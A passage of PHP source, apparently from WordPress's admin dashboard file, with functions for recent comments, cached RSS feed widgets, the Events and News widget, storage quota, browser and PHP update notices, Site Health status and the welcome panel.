				sprintf( _x( '%1$s, %2$s', 'dashboard' ), $relative, get_the_time() ),
				$recent_post_link,
				/* translators: %s: Post title. */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $draft_or_post_title ) ),
				$draft_or_post_title
			);
		}

		echo '</ul>';
		echo '</div>';

	} else {
		return false;
	}

	wp_reset_postdata();

	return true;
}

/**
 * Show Comments section.
 *
 * @since 3.8.0
 *
 * @param int $total_items Optional. Number of comments to query. Default 5.
 * @return bool False if no comments were found. True otherwise.
 */
function wp_dashboard_recent_comments( $total_items = 5 ) {
	// Select all comment types and filter out spam later for better query performance.
	$comments = array();

	$comments_query = array(
		'number' => $total_items * 5,
		'offset' => 0,
	);

	if ( ! current_user_can( 'edit_posts' ) ) {
		$comments_query['status'] = 'approve';
	}

	while ( count( $comments ) < $total_items && $possible = get_comments( $comments_query ) ) {
		if ( ! is_array( $possible ) ) {
			break;
		}

		foreach ( $possible as $comment ) {
			if ( ! current_user_can( 'edit_post', $comment->comment_post_ID )
				&& ( post_password_required( $comment->comment_post_ID )
					|| ! current_user_can( 'read_post', $comment->comment_post_ID ) )
			) {
				// The user has no access to the post and thus cannot see the comments.
				continue;
			}

			$comments[] = $comment;

			if ( count( $comments ) === $total_items ) {
				break 2;
			}
		}

		$comments_query['offset'] += $comments_query['number'];
		$comments_query['number']  = $total_items * 10;
	}

	if ( $comments ) {
		echo '<div id="latest-comments" class="activity-block table-view-list">';
		echo '<h3>' . __( 'Recent Comments' ) . '</h3>';

		echo '<ul id="the-comment-list" data-wp-lists="list:comment">';
		foreach ( $comments as $comment ) {
			_wp_dashboard_recent_comments_row( $comment );
		}
		echo '</ul>';

		if ( current_user_can( 'edit_posts' ) ) {
			echo '<h3 class="screen-reader-text">' .
				/* translators: Hidden accessibility text. */
				__( 'View more comments' ) .
			'</h3>';
			_get_list_table( 'WP_Comments_List_Table' )->views();
		}

		wp_comment_reply( -1, false, 'dashboard', false );
		wp_comment_trashnotice();

		echo '</div>';
	} else {
		return false;
	}
	return true;
}

/**
 * Display generic dashboard RSS widget feed.
 *
 * @since 2.5.0
 *
 * @param string $widget_id
 */
function wp_dashboard_rss_output( $widget_id ) {
	$widgets = get_option( 'dashboard_widget_options' );
	echo '<div class="rss-widget">';
	wp_widget_rss_output( $widgets[ $widget_id ] );
	echo '</div>';
}

/**
 * Checks to see if all of the feed url in $check_urls are cached.
 *
 * If $check_urls is empty, look for the rss feed url found in the dashboard
 * widget options of $widget_id. If cached, call $callback, a function that
 * echoes out output for this widget. If not cache, echo a "Loading..." stub
 * which is later replaced by Ajax call (see top of /wp-admin/index.php)
 *
 * @since 2.5.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 *
 * @param string   $widget_id  The widget ID.
 * @param callable $callback   The callback function used to display each feed.
 * @param array    $check_urls RSS feeds.
 * @param mixed    ...$args    Optional additional parameters to pass to the callback function.
 * @return bool True on success, false on failure.
 */
function wp_dashboard_cached_rss_widget( $widget_id, $callback, $check_urls = array(), ...$args ) {
	$doing_ajax = wp_doing_ajax();
	$loading    = '<p class="widget-loading hide-if-no-js">' . __( 'Loading&hellip;' ) . '</p>';
	$loading   .= wp_get_admin_notice(
		__( 'This widget requires JavaScript.' ),
		array(
			'type'               => 'error',
			'additional_classes' => array( 'inline', 'hide-if-js' ),
		)
	);

	if ( empty( $check_urls ) ) {
		$widgets = get_option( 'dashboard_widget_options' );

		if ( empty( $widgets[ $widget_id ]['url'] ) && ! $doing_ajax ) {
			echo $loading;
			return false;
		}

		$check_urls = array( $widgets[ $widget_id ]['url'] );
	}

	$locale    = get_user_locale();
	$cache_key = 'dash_v2_' . md5( $widget_id . '_' . $locale );
	$output    = get_transient( $cache_key );

	if ( false !== $output ) {
		echo $output;
		return true;
	}

	if ( ! $doing_ajax ) {
		echo $loading;
		return false;
	}

	if ( $callback && is_callable( $callback ) ) {
		array_unshift( $args, $widget_id, $check_urls );
		ob_start();
		call_user_func_array( $callback, $args );
		// Default lifetime in cache of 12 hours (same as the feeds).
		set_transient( $cache_key, ob_get_flush(), 12 * HOUR_IN_SECONDS );
	}

	return true;
}

//
// Dashboard Widgets Controls.
//

/**
 * Calls widget control callback.
 *
 * @since 2.5.0
 *
 * @global callable[] $wp_dashboard_control_callbacks
 *
 * @param int|false $widget_control_id Optional. Registered widget ID. Default false.
 */
function wp_dashboard_trigger_widget_control( $widget_control_id = false ) {
	global $wp_dashboard_control_callbacks;

	if ( is_scalar( $widget_control_id ) && $widget_control_id
		&& isset( $wp_dashboard_control_callbacks[ $widget_control_id ] )
		&& is_callable( $wp_dashboard_control_callbacks[ $widget_control_id ] )
	) {
		call_user_func(
			$wp_dashboard_control_callbacks[ $widget_control_id ],
			'',
			array(
				'id'       => $widget_control_id,
				'callback' => $wp_dashboard_control_callbacks[ $widget_control_id ],
			)
		);
	}
}

/**
 * Sets up the RSS dashboard widget control and $args to be used as input to wp_widget_rss_form().
 *
 * Handles POST data from RSS-type widgets.
 *
 * @since 2.5.0
 *
 * @param string $widget_id
 * @param array  $form_inputs
 */
function wp_dashboard_rss_control( $widget_id, $form_inputs = array() ) {
	$widget_options = get_option( 'dashboard_widget_options' );

	if ( ! $widget_options ) {
		$widget_options = array();
	}

	if ( ! isset( $widget_options[ $widget_id ] ) ) {
		$widget_options[ $widget_id ] = array();
	}

	$number = 1; // Hack to use wp_widget_rss_form().

	$widget_options[ $widget_id ]['number'] = $number;

	if ( 'POST' === $_SERVER['REQUEST_METHOD'] && isset( $_POST['widget-rss'][ $number ] ) ) {
		$_POST['widget-rss'][ $number ]         = wp_unslash( $_POST['widget-rss'][ $number ] );
		$widget_options[ $widget_id ]           = wp_widget_rss_process( $_POST['widget-rss'][ $number ] );
		$widget_options[ $widget_id ]['number'] = $number;

		// Title is optional. If black, fill it if possible.
		if ( ! $widget_options[ $widget_id ]['title'] && isset( $_POST['widget-rss'][ $number ]['title'] ) ) {
			$rss = fetch_feed( $widget_options[ $widget_id ]['url'] );
			if ( is_wp_error( $rss ) ) {
				$widget_options[ $widget_id ]['title'] = htmlentities( __( 'Unknown Feed' ) );
			} else {
				$widget_options[ $widget_id ]['title'] = htmlentities( strip_tags( $rss->get_title() ) );
				$rss->__destruct();
				unset( $rss );
			}
		}

		update_option( 'dashboard_widget_options', $widget_options );

		$locale    = get_user_locale();
		$cache_key = 'dash_v2_' . md5( $widget_id . '_' . $locale );
		delete_transient( $cache_key );
	}

	wp_widget_rss_form( $widget_options[ $widget_id ], $form_inputs );
}


/**
 * Renders the Events and News dashboard widget.
 *
 * @since 4.8.0
 */
function wp_dashboard_events_news() {
	wp_print_community_events_markup();

	?>

	<div class="wordpress-news hide-if-no-js">
		<?php wp_dashboard_primary(); ?>
	</div>

	<p class="community-events-footer">
		<?php
			printf(
				'<a href="%1$s" target="_blank">%2$s <span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
				'https://make.wordpress.org/community/meetups-landing-page',
				__( 'Meetups' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			);
		?>

		|

		<?php
			printf(
				'<a href="%1$s" target="_blank">%2$s <span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
				'https://central.wordcamp.org/schedule/',
				__( 'WordCamps' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			);
		?>

		|

		<?php
			printf(
				'<a href="%1$s" target="_blank">%2$s <span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
				/* translators: If a Rosetta site exists (e.g. https://es.wordpress.org/news/), then use that. Otherwise, leave untranslated. */
				esc_url( _x( 'https://wordpress.org/news/', 'Events and News dashboard widget' ) ),
				__( 'News' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			);
		?>
	</p>

	<?php
}

/**
 * Prints the markup for the Community Events section of the Events and News Dashboard widget.
 *
 * @since 4.8.0
 */
function wp_print_community_events_markup() {
	$community_events_notice  = '<p class="hide-if-js">' . ( 'This widget requires JavaScript.' ) . '</p>';
	$community_events_notice .= '<p class="community-events-error-occurred" aria-hidden="true">' . __( 'An error occurred. Please try again.' ) . '</p>';
	$community_events_notice .= '<p class="community-events-could-not-locate" aria-hidden="true"></p>';

	wp_admin_notice(
		$community_events_notice,
		array(
			'type'               => 'error',
			'additional_classes' => array( 'community-events-errors', 'inline', 'hide-if-js' ),
			'paragraph_wrap'     => false,
		)
	);

	/*
	 * Hide the main element when the page first loads, because the content
	 * won't be ready until wp.communityEvents.renderEventsTemplate() has run.
	 */
	?>
	<div id="community-events" class="community-events" aria-hidden="true">
		<div class="activity-block">
			<p>
				<span id="community-events-location-message"></span>

				<button class="button-link community-events-toggle-location" aria-expanded="false">
					<span class="dashicons dashicons-location" aria-hidden="true"></span>
					<span class="community-events-location-edit"><?php _e( 'Select location' ); ?></span>
				</button>
			</p>

			<form class="community-events-form" aria-hidden="true" action="<?php echo esc_url( admin_url( 'admin-ajax.php' ) ); ?>" method="post">
				<label for="community-events-location">
					<?php _e( 'City:' ); ?>
				</label>
				<?php
				/* translators: Replace with a city related to your locale.
				 * Test that it matches the expected location and has upcoming
				 * events before including it. If no cities related to your
				 * locale have events, then use a city related to your locale
				 * that would be recognizable to most users. Use only the city
				 * name itself, without any region or country. Use the endonym
				 * (native locale name) instead of the English name if possible.
				 */
				?>
				<input id="community-events-location" class="regular-text" type="text" name="community-events-location" placeholder="<?php esc_attr_e( 'Cincinnati' ); ?>" />

				<?php submit_button( __( 'Submit' ), 'secondary', 'community-events-submit', false ); ?>

				<button class="community-events-cancel button-link" type="button" aria-expanded="false">
					<?php _e( 'Cancel' ); ?>
				</button>

				<span class="spinner"></span>
			</form>
		</div>

		<ul class="community-events-results activity-block last"></ul>
	</div>

	<?php
}

/**
 * Renders the events templates for the Event and News widget.
 *
 * @since 4.8.0
 */
function wp_print_community_events_templates() {
	?>

	<script id="tmpl-community-events-attend-event-near" type="text/template">
		<?php
		printf(
			/* translators: %s: The name of a city. */
			__( 'Attend an upcoming event near %s.' ),
			'<strong>{{ data.location.description }}</strong>'
		);
		?>
	</script>

	<script id="tmpl-community-events-could-not-locate" type="text/template">
		<?php
		printf(
			/* translators: %s is the name of the city we couldn't locate.
			 * Replace the examples with cities in your locale, but test
			 * that they match the expected location before including them.
			 * Use endonyms (native locale names) whenever possible.
			 */
			__( '%s could not be located. Please try another nearby city. For example: Kansas City; Springfield; Portland.' ),
			'<em>{{data.unknownCity}}</em>'
		);
		?>
	</script>

	<script id="tmpl-community-events-event-list" type="text/template">
		<# _.each( data.events, function( event ) { #>
			<li class="event event-{{ event.type }} wp-clearfix">
				<div class="event-info">
					<div class="dashicons event-icon" aria-hidden="true"></div>
					<div class="event-info-inner">
						<a class="event-title" href="{{ event.url }}">{{ event.title }}</a>
						<# if ( event.type ) {
							const titleCaseEventType = event.type.replace(
								/\w\S*/g,
								function ( type ) { return type.charAt(0).toUpperCase() + type.substr(1).toLowerCase(); }
							);
						#>
							{{ 'wordcamp' === event.type ? 'WordCamp' : titleCaseEventType }}
							<span class="ce-separator"></span>
						<# } #>
						<span class="event-city">{{ event.location.location }}</span>
					</div>
				</div>

				<div class="event-date-time">
					<span class="event-date">{{ event.user_formatted_date }}</span>
					<# if ( 'meetup' === event.type ) { #>
						<span class="event-time">
							{{ event.user_formatted_time }} {{ event.timeZoneAbbreviation }}
						</span>
					<# } #>
				</div>
			</li>
		<# } ) #>

		<# if ( data.events.length <= 2 ) { #>
			<li class="event-none">
				<?php
				printf(
					/* translators: %s: Localized meetup organization documentation URL. */
					__( 'Want more events? <a href="%s">Help organize the next one</a>!' ),
					__( 'https://make.wordpress.org/community/organize-event-landing-page/' )
				);
				?>
			</li>
		<# } #>

	</script>

	<script id="tmpl-community-events-no-upcoming-events" type="text/template">
		<li class="event-none">
			<# if ( data.location.description ) { #>
				<?php
				printf(
					/* translators: 1: The city the user searched for, 2: Meetup organization documentation URL. */
					__( 'There are no events scheduled near %1$s at the moment. Would you like to <a href="%2$s">organize a WordPress event</a>?' ),
					'{{ data.location.description }}',
					__( 'https://make.wordpress.org/community/handbook/meetup-organizer/welcome/' )
				);
				?>

			<# } else { #>
				<?php
				printf(
					/* translators: %s: Meetup organization documentation URL. */
					__( 'There are no events scheduled near you at the moment. Would you like to <a href="%s">organize a WordPress event</a>?' ),
					__( 'https://make.wordpress.org/community/handbook/meetup-organizer/welcome/' )
				);
				?>
			<# } #>
		</li>
	</script>
	<?php
}

/**
 * 'WordPress Events and News' dashboard widget.
 *
 * @since 2.7.0
 * @since 4.8.0 Removed popular plugins feed.
 */
function wp_dashboard_primary() {
	$feeds = array(
		'news'   => array(

			/**
			 * Filters the primary link URL for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.5.0
			 *
			 * @param string $link The widget's primary link URL.
			 */
			'link'         => apply_filters( 'dashboard_primary_link', __( 'https://wordpress.org/news/' ) ),

			/**
			 * Filters the primary feed URL for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $url The widget's primary feed URL.
			 */
			'url'          => apply_filters( 'dashboard_primary_feed', __( 'https://wordpress.org/news/feed/' ) ),

			/**
			 * Filters the primary link title for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $title Title attribute for the widget's primary link.
			 */
			'title'        => apply_filters( 'dashboard_primary_title', __( 'WordPress Blog' ) ),
			'items'        => 2,
			'show_summary' => 0,
			'show_author'  => 0,
			'show_date'    => 0,
		),
		'planet' => array(

			/**
			 * Filters the secondary link URL for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $link The widget's secondary link URL.
			 */
			'link'         => apply_filters(
				'dashboard_secondary_link',
				/* translators: Link to the Planet website of the locale. */
				__( 'https://planet.wordpress.org/' )
			),

			/**
			 * Filters the secondary feed URL for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $url The widget's secondary feed URL.
			 */
			'url'          => apply_filters(
				'dashboard_secondary_feed',
				/* translators: Link to the Planet feed of the locale. */
				__( 'https://planet.wordpress.org/feed/' )
			),

			/**
			 * Filters the secondary link title for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $title Title attribute for the widget's secondary link.
			 */
			'title'        => apply_filters( 'dashboard_secondary_title', __( 'Other WordPress News' ) ),

			/**
			 * Filters the number of secondary link items for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 4.4.0
			 *
			 * @param string $items How many items to show in the secondary feed.
			 */
			'items'        => apply_filters( 'dashboard_secondary_items', 3 ),
			'show_summary' => 0,
			'show_author'  => 0,
			'show_date'    => 0,
		),
	);

	wp_dashboard_cached_rss_widget( 'dashboard_primary', 'wp_dashboard_primary_output', $feeds );
}

/**
 * Displays the WordPress events and news feeds.
 *
 * @since 3.8.0
 * @since 4.8.0 Removed popular plugins feed.
 *
 * @param string $widget_id Widget ID.
 * @param array  $feeds     Array of RSS feeds.
 */
function wp_dashboard_primary_output( $widget_id, $feeds ) {
	foreach ( $feeds as $type => $args ) {
		$args['type'] = $type;
		echo '<div class="rss-widget">';
			wp_widget_rss_output( $args['url'], $args );
		echo '</div>';
	}
}

/**
 * Displays file upload quota on dashboard.
 *
 * Runs on the {@see 'activity_box_end'} hook in wp_dashboard_right_now().
 *
 * @since 3.0.0
 *
 * @return true|void True if not multisite, user can't upload files, or the space check option is disabled.
 */
function wp_dashboard_quota() {
	if ( ! is_multisite() || ! current_user_can( 'upload_files' )
		|| get_site_option( 'upload_space_check_disabled' )
	) {
		return true;
	}

	$quota = get_space_allowed();
	$used  = get_space_used();

	if ( $used > $quota ) {
		$percentused = '100';
	} else {
		$percentused = ( $used / $quota ) * 100;
	}

	$used_class  = ( $percentused >= 70 ) ? ' warning' : '';
	$used        = round( $used, 2 );
	$percentused = number_format( $percentused );

	?>
	<h3 class="mu-storage"><?php _e( 'Storage Space' ); ?></h3>
	<div class="mu-storage">
	<ul>
		<li class="storage-count">
			<?php
			$text = sprintf(
				/* translators: %s: Number of megabytes. */
				__( '%s MB Space Allowed' ),
				number_format_i18n( $quota )
			);
			printf(
				'<a href="%1$s">%2$s<span class="screen-reader-text"> (%3$s)</span></a>',
				esc_url( admin_url( 'upload.php' ) ),
				$text,
				/* translators: Hidden accessibility text. */
				__( 'Manage Uploads' )
			);
			?>
		</li><li class="storage-count <?php echo $used_class; ?>">
			<?php
			$text = sprintf(
				/* translators: 1: Number of megabytes, 2: Percentage. */
				__( '%1$s MB (%2$s%%) Space Used' ),
				number_format_i18n( $used, 2 ),
				$percentused
			);
			printf(
				'<a href="%1$s" class="musublink">%2$s<span class="screen-reader-text"> (%3$s)</span></a>',
				esc_url( admin_url( 'upload.php' ) ),
				$text,
				/* translators: Hidden accessibility text. */
				__( 'Manage Uploads' )
			);
			?>
		</li>
	</ul>
	</div>
	<?php
}

/**
 * Displays the browser update nag.
 *
 * @since 3.2.0
 * @since 5.8.0 Added a special message for Internet Explorer users.
 *
 * @global bool $is_IE
 */
function wp_dashboard_browser_nag() {
	global $is_IE;

	$notice   = '';
	$response = wp_check_browser_version();

	if ( $response ) {
		if ( $is_IE ) {
			$msg = __( 'Internet Explorer does not give you the best WordPress experience. Switch to Microsoft Edge, or another more modern browser to get the most from your site.' );
		} elseif ( $response['insecure'] ) {
			$msg = sprintf(
				/* translators: %s: Browser name and link. */
				__( "It looks like you're using an insecure version of %s. Using an outdated browser makes your computer unsafe. For the best WordPress experience, please update your browser." ),
				sprintf( '<a href="%s">%s</a>', esc_url( $response['update_url'] ), esc_html( $response['name'] ) )
			);
		} else {
			$msg = sprintf(
				/* translators: %s: Browser name and link. */
				__( "It looks like you're using an old version of %s. For the best WordPress experience, please update your browser." ),
				sprintf( '<a href="%s">%s</a>', esc_url( $response['update_url'] ), esc_html( $response['name'] ) )
			);
		}

		$browser_nag_class = '';
		if ( ! empty( $response['img_src'] ) ) {
			$img_src = ( is_ssl() && ! empty( $response['img_src_ssl'] ) ) ? $response['img_src_ssl'] : $response['img_src'];

			$notice           .= '<div class="alignright browser-icon"><img src="' . esc_url( $img_src ) . '" alt="" /></div>';
			$browser_nag_class = ' has-browser-icon';
		}
		$notice .= "<p class='browser-update-nag{$browser_nag_class}'>{$msg}</p>";

		$browsehappy = 'https://browsehappy.com/';
		$locale      = get_user_locale();
		if ( 'en_US' !== $locale ) {
			$browsehappy = add_query_arg( 'locale', $locale, $browsehappy );
		}

		if ( $is_IE ) {
			$msg_browsehappy = sprintf(
				/* translators: %s: Browse Happy URL. */
				__( 'Learn how to <a href="%s" class="update-browser-link">browse happy</a>' ),
				esc_url( $browsehappy )
			);
		} else {
			$msg_browsehappy = sprintf(
				/* translators: 1: Browser update URL, 2: Browser name, 3: Browse Happy URL. */
				__( '<a href="%1$s" class="update-browser-link">Update %2$s</a> or learn how to <a href="%3$s" class="browse-happy-link">browse happy</a>' ),
				esc_attr( $response['update_url'] ),
				esc_html( $response['name'] ),
				esc_url( $browsehappy )
			);
		}

		$notice .= '<p>' . $msg_browsehappy . '</p>';
		$notice .= '<p class="hide-if-no-js"><a href="" class="dismiss" aria-label="' . esc_attr__( 'Dismiss the browser warning panel' ) . '">' . __( 'Dismiss' ) . '</a></p>';
		$notice .= '<div class="clear"></div>';
	}

	/**
	 * Filters the notice output for the 'Browse Happy' nag meta box.
	 *
	 * @since 3.2.0
	 *
	 * @param string      $notice   The notice content.
	 * @param array|false $response An array containing web browser information, or
	 *                              false on failure. See wp_check_browser_version().
	 */
	echo apply_filters( 'browse-happy-notice', $notice, $response ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}

/**
 * Adds an additional class to the browser nag if the current version is insecure.
 *
 * @since 3.2.0
 *
 * @param string[] $classes Array of meta box classes.
 * @return string[] Modified array of meta box classes.
 */
function dashboard_browser_nag_class( $classes ) {
	$response = wp_check_browser_version();

	if ( $response && $response['insecure'] ) {
		$classes[] = 'browser-insecure';
	}

	return $classes;
}

/**
 * Checks if the user needs a browser update.
 *
 * @since 3.2.0
 *
 * @return array|false Array of browser data on success, false on failure.
 */
function wp_check_browser_version() {
	if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
		return false;
	}

	$key = md5( $_SERVER['HTTP_USER_AGENT'] );

	$response = get_site_transient( 'browser_' . $key );

	if ( false === $response ) {
		// Include an unmodified $wp_version.
		require ABSPATH . WPINC . '/version.php';

		$url     = 'http://api.wordpress.org/core/browse-happy/1.1/';
		$options = array(
			'body'       => array( 'useragent' => $_SERVER['HTTP_USER_AGENT'] ),
			'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
		);

		if ( wp_http_supports( array( 'ssl' ) ) ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$response = wp_remote_post( $url, $options );

		if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
			return false;
		}

		/**
		 * Response should be an array with:
		 *  'platform' - string - A user-friendly platform name, if it can be determined
		 *  'name' - string - A user-friendly browser name
		 *  'version' - string - The version of the browser the user is using
		 *  'current_version' - string - The most recent version of the browser
		 *  'upgrade' - boolean - Whether the browser needs an upgrade
		 *  'insecure' - boolean - Whether the browser is deemed insecure
		 *  'update_url' - string - The url to visit to upgrade
		 *  'img_src' - string - An image representing the browser
		 *  'img_src_ssl' - string - An image (over SSL) representing the browser
		 */
		$response = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( ! is_array( $response ) ) {
			return false;
		}

		set_site_transient( 'browser_' . $key, $response, WEEK_IN_SECONDS );
	}

	return $response;
}

/**
 * Displays the PHP update nag.
 *
 * @since 5.1.0
 */
function wp_dashboard_php_nag() {
	$response = wp_check_php_version();

	if ( ! $response ) {
		return;
	}

	if ( isset( $response['is_secure'] ) && ! $response['is_secure'] ) {
		// The `is_secure` array key name doesn't actually imply this is a secure version of PHP. It only means it receives security updates.

		if ( $response['is_lower_than_future_minimum'] ) {
			$message = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an outdated version of PHP (%s), which does not receive security updates and soon will not be supported by WordPress. Ensure that PHP is updated on your server as soon as possible. Otherwise you will not be able to upgrade WordPress.' ),
				PHP_VERSION
			);
		} else {
			$message = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an outdated version of PHP (%s), which does not receive security updates. It should be updated.' ),
				PHP_VERSION
			);
		}
	} elseif ( $response['is_lower_than_future_minimum'] ) {
		$message = sprintf(
			/* translators: %s: The server PHP version. */
			__( 'Your site is running on an outdated version of PHP (%s), which soon will not be supported by WordPress. Ensure that PHP is updated on your server as soon as possible. Otherwise you will not be able to upgrade WordPress.' ),
			PHP_VERSION
		);
	} else {
		$message = sprintf(
			/* translators: %s: The server PHP version. */
			__( 'Your site is running on an outdated version of PHP (%s), which should be updated.' ),
			PHP_VERSION
		);
	}
	?>
	<p class="bigger-bolder-text"><?php echo $message; ?></p>

	<p><?php _e( 'What is PHP and how does it affect my site?' ); ?></p>
	<p>
		<?php _e( 'PHP is one of the programming languages used to build WordPress. Newer versions of PHP receive regular security updates and may increase your site&#8217;s performance.' ); ?>
		<?php
		if ( ! empty( $response['recommended_version'] ) ) {
			printf(
				/* translators: %s: The minimum recommended PHP version. */
				__( 'The minimum recommended version of PHP is %s.' ),
				$response['recommended_version']
			);
		}
		?>
	</p>

	<p class="button-container">
		<?php
		printf(
			'<a class="button button-primary" href="%1$s" target="_blank" rel="noopener">%2$s<span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
			esc_url( wp_get_update_php_url() ),
			__( 'Learn more about updating PHP' ),
			/* translators: Hidden accessibility text. */
			__( '(opens in a new tab)' )
		);
		?>
	</p>
	<?php

	wp_update_php_annotation();
	wp_direct_php_update_button();
}

/**
 * Adds an additional class to the PHP nag if the current version is insecure.
 *
 * @since 5.1.0
 *
 * @param string[] $classes Array of meta box classes.
 * @return string[] Modified array of meta box classes.
 */
function dashboard_php_nag_class( $classes ) {
	$response = wp_check_php_version();

	if ( ! $response ) {
		return $classes;
	}

	if ( isset( $response['is_secure'] ) && ! $response['is_secure'] ) {
		$classes[] = 'php-no-security-updates';
	} elseif ( $response['is_lower_than_future_minimum'] ) {
		$classes[] = 'php-version-lower-than-future-minimum';
	}

	return $classes;
}

/**
 * Displays the Site Health Status widget.
 *
 * @since 5.4.0
 */
function wp_dashboard_site_health() {
	$get_issues = get_transient( 'health-check-site-status-result' );

	$issue_counts = array();

	if ( false !== $get_issues ) {
		$issue_counts = json_decode( $get_issues, true );
	}

	if ( ! is_array( $issue_counts ) || ! $issue_counts ) {
		$issue_counts = array(
			'good'        => 0,
			'recommended' => 0,
			'critical'    => 0,
		);
	}

	$issues_total = $issue_counts['recommended'] + $issue_counts['critical'];
	?>
	<div class="health-check-widget">
		<div class="health-check-widget-title-section site-health-progress-wrapper loading hide-if-no-js">
			<div class="site-health-progress">
				<svg aria-hidden="true" focusable="false" width="100%" height="100%" viewBox="0 0 200 200" version="1.1" xmlns="http://www.w3.org/2000/svg">
					<circle r="90" cx="100" cy="100" fill="transparent" stroke-dasharray="565.48" stroke-dashoffset="0"></circle>
					<circle id="bar" r="90" cx="100" cy="100" fill="transparent" stroke-dasharray="565.48" stroke-dashoffset="0"></circle>
				</svg>
			</div>
			<div class="site-health-progress-label">
				<?php if ( false === $get_issues ) : ?>
					<?php _e( 'No information yet&hellip;' ); ?>
				<?php else : ?>
					<?php _e( 'Results are still loading&hellip;' ); ?>
				<?php endif; ?>
			</div>
		</div>

		<div class="site-health-details">
			<?php if ( false === $get_issues ) : ?>
				<p>
					<?php
					printf(
						/* translators: %s: URL to Site Health screen. */
						__( 'Site health checks will automatically run periodically to gather information about your site. You can also <a href="%s">visit the Site Health screen</a> to gather information about your site now.' ),
						esc_url( admin_url( 'site-health.php' ) )
					);
					?>
				</p>
			<?php else : ?>
				<p>
					<?php if ( $issues_total <= 0 ) : ?>
						<?php _e( 'Great job! Your site currently passes all site health checks.' ); ?>
					<?php elseif ( 1 === (int) $issue_counts['critical'] ) : ?>
						<?php _e( 'Your site has a critical issue that should be addressed as soon as possible to improve its performance and security.' ); ?>
					<?php elseif ( $issue_counts['critical'] > 1 ) : ?>
						<?php _e( 'Your site has critical issues that should be addressed as soon as possible to improve its performance and security.' ); ?>
					<?php elseif ( 1 === (int) $issue_counts['recommended'] ) : ?>
						<?php _e( 'Your site&#8217;s health is looking good, but there is still one thing you can do to improve its performance and security.' ); ?>
					<?php else : ?>
						<?php _e( 'Your site&#8217;s health is looking good, but there are still some things you can do to improve its performance and security.' ); ?>
					<?php endif; ?>
				</p>
			<?php endif; ?>

			<?php if ( $issues_total > 0 && false !== $get_issues ) : ?>
				<p>
					<?php
					printf(
						/* translators: 1: Number of issues. 2: URL to Site Health screen. */
						_n(
							'Take a look at the <strong>%1$d item</strong> on the <a href="%2$s">Site Health screen</a>.',
							'Take a look at the <strong>%1$d items</strong> on the <a href="%2$s">Site Health screen</a>.',
							$issues_total
						),
						$issues_total,
						esc_url( admin_url( 'site-health.php' ) )
					);
					?>
				</p>
			<?php endif; ?>
		</div>
	</div>

	<?php
}

/**
 * Outputs empty dashboard widget to be populated by JS later.
 *
 * Usable by plugins.
 *
 * @since 2.5.0
 */
function wp_dashboard_empty() {}

/**
 * Displays a welcome panel to introduce users to WordPress.
 *
 * @since 3.3.0
 * @since 5.9.0 Send users to the Site Editor if the active theme is block-based.
 */
function wp_welcome_panel() {
	list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );
	$can_customize           = current_user_can( 'customize' );
	$is_block_theme          = wp_is_block_theme();
	?>
	<div class="welcome-panel-content">
	<div class="welcome-panel-header">
		<div class="welcome-panel-header-image">
			<?php echo file_get_contents( dirname( __DIR__ ) . '/images/dashboard-background.svg' ); ?>
		</div>
		<h2><?php _e( 'Welcome to WordPress!' ); ?></h2>
		<p>
			<a href="<?php echo esc_url( admin_url( 'about.php' ) ); ?>">
			<?php
				/* translators: %s: Current WordPress version. */
				printf( __( 'Learn more about the %s version.' ), $display_version );
			?>
			</a>
		</p>
	</div>
	<div class="welcome-panel-column-container">
		<div class="welcome-panel-column">
			<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
				<rect width="48" height="48" rx="4" fill="#1E1E1E"/>
				<path fill-rule="evenodd" clip-rule="evenodd" d="M32.0668 17.0854L28.8221 13.9454L18.2008 24.671L16.8983 29.0827L21.4257 27.8309L32.0668 17.0854ZM16 32.75H24V31.25H16V32.75Z" fill="white"/>
			</svg>
			<div class="welcome-panel-column-content">
				<h3><?php _e( 'Author rich content with blocks and patterns' ); ?></h3>
				<p><?php _e( 'Block patterns are pre-configured block layouts. Use them to get inspired or create new pages in a flash.' ); ?></p>
				<a href="<?php echo esc_url( admin_url( 'post-new.php?post_type=page' ) ); ?>"><?php _e( 'Add a new page' ); ?></a>
			</div>
		</div>
		<div class="welcome-panel-column">
			<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
				<rect width="48" height="48" rx="4" fill="#1E1E1E"/>
